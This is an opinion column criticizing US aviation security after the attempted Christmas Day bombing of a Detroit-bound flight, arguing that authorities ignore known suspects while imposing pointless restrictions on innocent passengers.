Delta jets at Detroit Metropolitan airportIt's getting to the point where the twin news stories more or less write themselves. No sooner is the fanatical and homicidal Muslim arrested than it turns out that he (it won't be long until it is also she) has been known to the authorities for a long time. But somehow the watch list, the tipoff, the many worried reports from colleagues and relatives, the placing of the name on a "central repository of information" don't prevent the suspect from boarding a plane, changing planes, or bringing whatever he cares to bring onto a plane. This is now a tradition that stretches back to several of the murderers who boarded civilian aircraft on Sept. 11, 2001, having called attention to themselves by either a) being on watch lists already or b) weird behavior at heartland American flight schools. They didn't even bother to change their names.

So that's now more or less the routine for the guilty. (I am not making any presumption of innocence concerning Umar Farouk Abdulmutallab.) But flick your eye across the page, or down it, and you will instantly see a different imperative for the innocent. "New Restrictions Quickly Added for Travelers," reads the inevitable headline just below the report on the notoriety of Abdulmutallab, whose own father had been sufficiently alarmed to report his sonto the U.S. Embassy in Abuja, Nigeria, some time ago. (By the way, I make a safe prediction: Nobody in that embassy or anywhere else in our national security system will lose his or her job as a consequence of this most recent disgrace.)

In my boyhood, there were signs on English buses that declared, in bold letters, "No Spitting." At a tender age, I was able to work out that most people don't need to be told this, while those who do feel a desire to expectorate on public transport will require more discouragement than a mere sign. But I'd be wasting my time pointing this out to our majestic and sleepless protectors, who now boldly propose to prevent airline passengers from getting out of their seats for the last hour of any flight. Abdulmutallab made his bid in the last hour of his flight, after all. Yes, that ought to do it. It's also incredibly, nay, almost diabolically clever of our guardians to let it be known what the precise time limit will be. Oh, and by the way, any passenger courageous or resourceful enough to stand up and fight back will also have broken the brave new law.

For some years after 9/11, passengers were forbidden to get up and use the lavatory on the Washington-New York shuttle. Zero tolerance! I suppose it must eventually have occurred to somebody that this ban would not deter a person who was willing to die, so the rule was scrapped. But now the principle has been revisited for international flights. For many years after the explosion of the TWA plane over Long Island (a disaster that was later found to have nothing at all to do with international religious nihilism), you could not board an aircraft without being asked whether you had packed your own bags and had them under your control at all times. These two questions are the very ones to which a would-be hijacker or bomber would honestly and logically have to answer "yes." But answering "yes" to both was a condition of being allowed on the plane! Eventually, that heroic piece of stupidity was dropped as well. But now fresh idiocies are in store. Nothing in your lap during final approach. Do you feel safer? If you were a suicide-killer, would you feel thwarted or deterred?

Why do we fail to detect or defeat the guilty, and why do we do so well at collective punishment of the innocent? The answer to the first question is: Because we can't—or won't. The answer to the second question is: Because we can. The fault here is not just with our endlessly incompetent security services, who give the benefit of the doubt to people who should have been arrested long ago or at least had their visas and travel rights revoked. It is also with a public opinion that sheepishly bleats to be made to "feel safe." The demand to satisfy that sad illusion can be met with relative ease if you pay enough people to stand around and stare significantly at the citizens' toothpaste. My impression as a frequent traveler is that intelligent Americans fail to protest at this inanity in case it is they who attract attention and end up on a no-fly list instead. Perfect.

It was reported over the weekend that in the aftermath of the Detroit fiasco, no official decision was made about whether to raise the designated "threat level" from orange. Orange! Could this possibly be because it would be panicky and ridiculous to change it to red and really, really absurd to lower it to yellow? But isn't it just as preposterous (and revealing), immediately after a known Muslim extremist has waltzed through every flimsy barrier, to leave it just where it was the day before?

What nobody in authority thinks us grown-up enough to be told is this: We had better get used to being the civilians who are under a relentless and planned assault from the pledged supporters of a wicked theocratic ideology. These people will kill themselves to attack hotels, weddings, buses, subways, cinemas, and trains. They consider Jews, Christians, Hindus, women, homosexuals, and dissident Muslims (to give only the main instances) to be divinely mandated slaughter victims. Our civil aviation is only the most psychologically frightening symbol of a plethora of potential targets. The future murderers will generally not be from refugee camps or slums (though they are being indoctrinated every day in our prisons); they will frequently be from educated backgrounds, and they will often not be from overseas at all. They are already in our suburbs and even in our military. We can expect to take casualties. The battle will go on for the rest of our lives. Those who plan our destruction know what they want, and they are prepared to kill and die for it. Those who don't get the point prefer to whine about "endless war," accidentally speaking the truth about something of which the attempted Christmas bombing over Michigan was only a foretaste. While we fumble with bureaucracy and euphemism, they are flying high.